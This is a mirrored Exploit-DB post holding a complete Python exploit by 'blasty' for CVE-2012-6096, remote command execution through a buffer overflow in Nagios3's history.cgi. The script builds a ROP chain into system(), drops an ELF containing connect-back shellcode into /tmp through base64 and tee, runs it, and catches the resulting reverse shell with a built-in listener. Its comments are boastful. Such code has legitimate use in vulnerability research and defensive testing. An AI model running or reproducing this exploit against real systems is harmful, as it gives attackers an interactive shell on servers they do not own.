Nagios3 – ‘history.cgi’ Remote Command Execution

  • 作者: blasty
    日期: 2013-01-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24084/
  • #!/usr/bin/python
    #
    # CVE-2012-6096 - Nagios history.cgi Remote Command Execution
    # ===========================================================
    # Another year, another reincarnation of classic and trivial
    # bugs to exploit. This time we attack Nagios.. or more 
    # specifically, one of its CGI scripts. [1]
    #
    # The Nagios code is an amazing monster. It reminds me a
    # lot of some of my early experiments in C, back when I 
    # still had no clue what I was doing. (Ok, fair enough,
    # I still don't, heheh.)
    #
    # Ok, I'll come clean. This exploit doesn't exactly
    # defeat FORTIFY. This approach is likely to work just FINE 
    # on other crippled distro's though, think of stuff like 
    # ArchLinux, Slackware, and all those Gentoo kids twiddling 
    # their CFLAGS. [2] (Oh and hey, BSD and stuff!)
    #
    # I do some very stupid shit(tm) here that might make an 
    # exploit coder or two cringe. My sincere apologies for that.
    #
    # Cold beer goes out to my friends who are still practicing
    # this dying but interesting type of art:
    #
    # * brainsmoke * masc * iZsh * skier_ * steve *
    #
    # -- blasty <blasty@fail0verflow.com> / 2013-01-08
    #
    # References:
    # [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109
    # [2] http://www.funroll-loops.info/
    #
    # P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
    # Next time you rebrand an exploit at least show some diligence and
    # add some additional targets or improvements, so we can all profit!
    #
    # P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
    #
    
    import os, sys, socket, struct, urllib, threading, SocketServer, time
    from base64 import b64encode
    
    SocketServer.TCPServer.allow_reuse_address = True
    
    targets = [
    	{
    		"name"	 : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
    		"smash_len": 0xc37,
    		"unescape" : 0x0804b620,
    		"popret" : 0x08048fe4,
    		"hostbuf": 0x080727a0,
    		"system_plt" : 0x08048c7c
    	}
    ]
    
    def u32h(v):
    	return struct.pack("<L", v).encode('hex')
    
    def u32(v, hex = False):
    	return struct.pack("<L", v)
    
    # Tiny ELF stub based on:
    # http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html 
    def make_elf(sc):
    	elf_head = \
    		"7f454c46010101000000000000000000" + \
    		"02000300010000005480040834000000" + \
    		"00000000000000003400200001000000" + \
    		"00000000010000000000000000800408" + \
    		"00800408" + u32h(0x54+len(sc))*2+ \
    		"0500000000100000"
    
    	return elf_head.decode("hex") + sc
    
    # interactive connectback listener
    class connectback_shell(SocketServer.BaseRequestHandler):
    	def handle(self):
    		print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]
    		print "[**] This shell is powered by insane amounts of illegal substances"
     
    		s = self.request
     
    		import termios, tty, select, os
    		old_settings = termios.tcgetattr(0)
    
    		try:
    			tty.setcbreak(0)
    			c = True
    
    			os.write(s.fileno(), "id\nuname -a\n")
    
    			while c:
    				for i in select.select([0, s.fileno()], [], [], 0)[0]:
    					c = os.read(i, 1024)
    					if c:
    						if i == 0:
    							os.write(1, c)
     
    						os.write(s.fileno() if i == 0 else 1, c)
    		except KeyboardInterrupt: pass
    		finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
     
    		return
     
    class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    	pass
    
    if len(sys.argv) != 5:
    	print "\n>> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>"
    	print ">> \"Jetzt geht's Nagi-los!\"\n"
    	print "usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])
    	print "targets:"
    
    	i = 0
    
    	for target in targets:
    		print "	%02d) %s" % (i, target['name'])
    		i = i+1
     
    	print ""
    	sys.exit(-1)
    
    target_no = int(sys.argv[4])
    
    if target_no < 0 or target_no > len(targets):
    	print "Invalid target specified"
    	sys.exit(-1)
    
    target = targets[ int(sys.argv[4]) ]
    
    # comment this shit if you want to setup your own listener
    server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    
    # shellcode to be executed
    # vanilla x86/linux connectback written by a dutch gentleman
    # close to a decade ago.
    cback = \
    	"31c031db31c951b10651b10151b10251" + \
    	"89e1b301b066cd8089c231c031c95151" + \
    	"68badc0ded6668b0efb102665189e7b3" + \
    	"1053575289e1b303b066cd8031c939c1" + \
    	"740631c0b001cd8031c0b03f89d3cd80" + \
    	"31c0b03f89d3b101cd8031c0b03f89d3" + \
    	"b102cd8031c031d250686e2f7368682f" + \
    	"2f626989e3505389e1b00bcd8031c0b0" + \
    	"01cd80"
    
    cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
    cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex")) 
    
    # Eww.. so there's some characters that dont survive the trip..
    # yes, even with the unescape() call in our return-chain..
    # initially I was going to use some /dev/tcp based connectback..
    # but /dev/tcp isn't available/accesible everywhere, so instead
    # we drop an ELF into /tmp and execute that. The '>' characters
    # also doesn't survive the trip so we work around this by using
    # the tee(1) utility.
    # If your target has a /tmp that is mounted with noexec flag,
    # is severely firewalled or guarded by trained (watch)dogs..
    # you might want to reconsider this approach!
    cmd= \
    	"rm -rf /tmp/x;" + \
    	"echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \
    	"base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"
    
    # Spaces (0x20) are also a problem, they always ends up as '+' :-(
    # so apply some olde trick and rely on $IFS for argv separation
    cmd = cmd.replace(" ", "${IFS}")
    
    # Basic return-2-whatever/ROP chain.
    # We return into cgi_input_unescape() to get rid of
    # URL escaping in a static buffer we control, and then
    # we return into system@plt for the moneyshot.
    #
    # Ergo sum:
    # There's no memoryleak or whatever needed to leak libc
    # base and bypass ASLR.. This entire Nagios PoS is stringed
    # together by system() calls, so pretty much every single one 
    # of their little silly binaries comes with a PLT entry for
    # system(), huzzah!
    rop = [
    	u32(target['unescape']),
    	u32(target['popret']),
    	u32(target['hostbuf']),
    	u32(target['system_plt']),
    	u32(0xdeafbabe),
    	u32(target['hostbuf'])
    ]
    
    # Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
    # out of the box. Building HTTP requests from scratch is so 90ies..
    params = urllib.urlencode({
    	'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)
    })
    
    print "[>>] CL1Q .."
    f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)
    
    print "[>>] CL4Q .."
    f.read()
    
    # TRIAL PERIOD ACTIVE, LOL!
    time.sleep(0x666)
    
    server.shutdown()